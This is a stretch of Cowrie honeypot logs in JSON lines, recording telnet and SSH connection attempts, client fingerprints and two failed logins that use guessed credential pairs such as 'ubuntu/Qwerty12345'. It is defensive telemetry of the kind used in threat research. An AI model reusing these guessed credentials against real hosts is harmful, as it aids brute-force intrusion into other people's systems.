{"eventid":"cowrie.session.closed","duration":41.4230272769928,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:59.732777Z","src_ip":"165.232.131.181","session":"a84fceb9ddea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60986,"dst_ip":"10.17.0.5","dst_port":23,"session":"73edffdbf549","protocol":"telnet","message":"New connection: 62.210.97.77:60986 (10.17.0.5:23) [session: 73edffdbf549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:00.113166Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60996,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a620097672e","protocol":"telnet","message":"New connection: 62.210.97.77:60996 (10.17.0.5:23) [session: 7a620097672e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:01.926465Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32774,"dst_ip":"10.17.0.5","dst_port":23,"session":"d097747fc9b8","protocol":"telnet","message":"New connection: 62.210.97.77:32774 (10.17.0.5:23) [session: d097747fc9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:02.637389Z"}
{"eventid":"cowrie.session.closed","duration":37.651150941848755,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:02.793976Z","src_ip":"62.210.97.77","session":"70dc82788f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241455078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:03.509514Z","src_ip":"62.210.97.77","session":"5d2324b513cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32790,"dst_ip":"10.17.0.5","dst_port":23,"session":"2820519ff679","protocol":"telnet","message":"New connection: 62.210.97.77:32790 (10.17.0.5:23) [session: 2820519ff679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:06.086788Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba801de0acf","protocol":"telnet","message":"New connection: 62.210.97.77:32806 (10.17.0.5:23) [session: aba801de0acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:06.204458Z"}
{"eventid":"cowrie.session.closed","duration":46.3017144203186,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:07.156856Z","src_ip":"65.60.27.33","session":"f55d305a00ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.171048402786255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:08.409404Z","src_ip":"62.210.97.77","session":"b1672f629afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.904762983322144,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:08.817907Z","src_ip":"165.232.131.181","session":"45681e19e3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42790,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f8956e8a5c0","protocol":"telnet","message":"New connection: 65.60.27.33:42790 (10.17.0.5:23) [session: 8f8956e8a5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:08.907581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39812,"dst_ip":"10.17.0.5","dst_port":23,"session":"7261d737d972","protocol":"telnet","message":"New connection: 62.210.97.77:39812 (10.17.0.5:23) [session: 7261d737d972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:09.685715Z"}
{"eventid":"cowrie.session.closed","duration":45.80716800689697,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:13.772299Z","src_ip":"165.232.131.181","session":"de06ac481b11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42040,"dst_ip":"10.17.0.5","dst_port":23,"session":"45965af2951e","protocol":"telnet","message":"New connection: 38.54.119.93:42040 (10.17.0.5:23) [session: 45965af2951e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:13.858391Z"}
{"eventid":"cowrie.session.closed","duration":39.91645669937134,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:14.489582Z","src_ip":"65.60.27.33","session":"762d1dc567e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49880,"dst_ip":"10.17.0.5","dst_port":23,"session":"00270ce031cc","protocol":"telnet","message":"New connection: 65.60.27.33:49880 (10.17.0.5:23) [session: 00270ce031cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:15.346235Z"}
{"eventid":"cowrie.session.closed","duration":39.19024634361267,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:16.045917Z","src_ip":"65.60.27.33","session":"55b9b8ab12f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"75019f021a7e","protocol":"telnet","message":"New connection: 62.210.97.77:39826 (10.17.0.5:23) [session: 75019f021a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:16.077901Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe492fe9a63","protocol":"telnet","message":"New connection: 62.210.97.77:39842 (10.17.0.5:23) [session: cbe492fe9a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:16.199487Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e3cd663554","protocol":"telnet","message":"New connection: 62.210.97.77:39852 (10.17.0.5:23) [session: 56e3cd663554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:17.513155Z"}
{"eventid":"cowrie.session.closed","duration":37.626283168792725,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:18.257420Z","src_ip":"62.210.97.77","session":"73f5ce1ed7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":46638,"dst_ip":"10.17.0.5","dst_port":22,"session":"393cd512a1b1","protocol":"ssh","message":"New connection: 45.78.198.206:46638 (10.17.0.5:22) [session: 393cd512a1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:18.292882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:18.300468Z","src_ip":"45.78.198.206","session":"393cd512a1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39858,"dst_ip":"10.17.0.5","dst_port":23,"session":"9035322423a1","protocol":"telnet","message":"New connection: 62.210.97.77:39858 (10.17.0.5:23) [session: 9035322423a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:18.519218Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:18.540572Z","src_ip":"45.78.198.206","session":"393cd512a1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53758,"dst_ip":"10.17.0.5","dst_port":23,"session":"3836b8f320d3","protocol":"telnet","message":"New connection: 65.60.27.33:53758 (10.17.0.5:23) [session: 3836b8f320d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:19.996433Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty12345","message":"login attempt [ubuntu/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:20.661934Z","src_ip":"45.78.198.206","session":"393cd512a1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53990,"dst_ip":"10.17.0.5","dst_port":23,"session":"66702b1e1a78","protocol":"telnet","message":"New connection: 165.232.131.181:53990 (10.17.0.5:23) [session: 66702b1e1a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:21.647610Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:21.897827Z","src_ip":"45.78.198.206","session":"393cd512a1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.49881887435913,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:22.600338Z","src_ip":"65.60.27.33","session":"648b837f1fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.5311017036438,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:23.458904Z","src_ip":"65.60.27.33","session":"e1ff7c5b743a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.75850486755371,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:24.098662Z","src_ip":"165.232.131.181","session":"b7e9e9b66f1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52616,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d367e3a8f4","protocol":"telnet","message":"New connection: 62.210.97.77:52616 (10.17.0.5:23) [session: 67d367e3a8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:24.104040Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"2128fc2a0dff","protocol":"telnet","message":"New connection: 62.210.97.77:52630 (10.17.0.5:23) [session: 2128fc2a0dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:25.052639Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1cf9c0a470d","protocol":"telnet","message":"New connection: 165.232.131.181:55580 (10.17.0.5:23) [session: e1cf9c0a470d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:25.199076Z"}
{"eventid":"cowrie.session.closed","duration":41.06822943687439,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:25.791240Z","src_ip":"62.210.97.77","session":"53979a58530c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.531458616256714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:29.949683Z","src_ip":"65.60.27.33","session":"9b0e2c54566e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54940,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57f75eaeb93","protocol":"telnet","message":"New connection: 62.210.97.77:54940 (10.17.0.5:23) [session: b57f75eaeb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:31.463223Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40116,"dst_ip":"10.17.0.5","dst_port":23,"session":"60440360011e","protocol":"telnet","message":"New connection: 65.60.27.33:40116 (10.17.0.5:23) [session: 60440360011e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:31.671551Z"}
{"eventid":"cowrie.session.closed","duration":30.50012469291687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:32.426436Z","src_ip":"62.210.97.77","session":"7a620097672e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.140645265579224,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:32.896341Z","src_ip":"165.232.131.181","session":"1aa79fd84e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13330602645874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:33.770550Z","src_ip":"62.210.97.77","session":"d097747fc9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":38446,"dst_ip":"10.17.0.5","dst_port":22,"session":"def6111e97e5","protocol":"ssh","message":"New connection: 156.232.13.218:38446 (10.17.0.5:22) [session: def6111e97e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:35.435707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:35.441813Z","src_ip":"156.232.13.218","session":"def6111e97e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:35.514540Z","src_ip":"156.232.13.218","session":"def6111e97e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.798569440841675,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:35.689309Z","src_ip":"134.209.8.29","session":"f7caaff28c8c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test","message":"login attempt [newuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:35.945501Z","src_ip":"156.232.13.218","session":"def6111e97e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:37.020613Z","src_ip":"156.232.13.218","session":"def6111e97e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59964,"dst_ip":"10.17.0.5","dst_port":23,"session":"32404d3c1f11","protocol":"telnet","message":"New connection: 165.232.131.181:59964 (10.17.0.5:23) [session: 32404d3c1f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:37.195919Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abc5798bf52","protocol":"telnet","message":"New connection: 134.209.8.29:36266 (159.203.135.109:23) [session: 5abc5798bf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:37.804639Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35702,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4e1080aa0b","protocol":"telnet","message":"New connection: 62.210.97.77:35702 (10.17.0.5:23) [session: 4e4e1080aa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:38.699005Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49330,"dst_ip":"10.17.0.5","dst_port":23,"session":"966f75e121bd","protocol":"telnet","message":"New connection: 65.60.27.33:49330 (10.17.0.5:23) [session: 966f75e121bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:39.718837Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e0c4bafb60f","protocol":"telnet","message":"New connection: 38.54.119.93:59766 (10.17.0.5:23) [session: 5e0c4bafb60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:39.880247Z"}
{"eventid":"cowrie.session.closed","duration":33.896517276763916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:40.100829Z","src_ip":"62.210.97.77","session":"aba801de0acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35716,"dst_ip":"10.17.0.5","dst_port":23,"session":"69dbf20032dc","protocol":"telnet","message":"New connection: 62.210.97.77:35716 (10.17.0.5:23) [session: 69dbf20032dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:41.167447Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35720,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad301684345","protocol":"telnet","message":"New connection: 62.210.97.77:35720 (10.17.0.5:23) [session: 4ad301684345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:41.562353Z"}
{"eventid":"cowrie.session.closed","duration":43.29402017593384,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:41.658314Z","src_ip":"65.60.27.33","session":"84e1112e9be5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7869074344635,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:42.873558Z","src_ip":"62.210.97.77","session":"2820519ff679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33976,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0967319beb","protocol":"telnet","message":"New connection: 38.54.119.93:33976 (10.17.0.5:23) [session: 1d0967319beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:43.520913Z"}
{"eventid":"cowrie.session.closed","duration":47.02662515640259,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:43.801683Z","src_ip":"134.209.8.29","session":"8aaadbc340ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.696327924728394,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:43.809375Z","src_ip":"62.210.97.77","session":"73edffdbf549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1361358165741,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:43.821732Z","src_ip":"62.210.97.77","session":"7261d737d972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.231711387634277,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:44.111842Z","src_ip":"38.54.119.93","session":"5e0c4bafb60f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54516,"dst_ip":"10.17.0.5","dst_port":23,"session":"5859526151ae","protocol":"telnet","message":"New connection: 65.60.27.33:54516 (10.17.0.5:23) [session: 5859526151ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:44.283638Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"322bf2e73037","protocol":"telnet","message":"New connection: 165.232.131.181:34830 (10.17.0.5:23) [session: 322bf2e73037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:44.992655Z"}
{"eventid":"cowrie.session.closed","duration":39.40236210823059,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:48.309820Z","src_ip":"65.60.27.33","session":"8f8956e8a5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5797bbcd28d9","protocol":"telnet","message":"New connection: 62.210.97.77:35728 (10.17.0.5:23) [session: 5797bbcd28d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:48.348229Z"}
{"eventid":"cowrie.session.closed","duration":32.59249687194824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:48.791863Z","src_ip":"62.210.97.77","session":"cbe492fe9a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.932222843170166,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:51.451288Z","src_ip":"62.210.97.77","session":"9035322423a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49037528038025,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:51.568215Z","src_ip":"62.210.97.77","session":"75019f021a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.86257243156433,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:53.379264Z","src_ip":"134.209.8.29","session":"90b08abdc9ba","protocol":"telnet"}
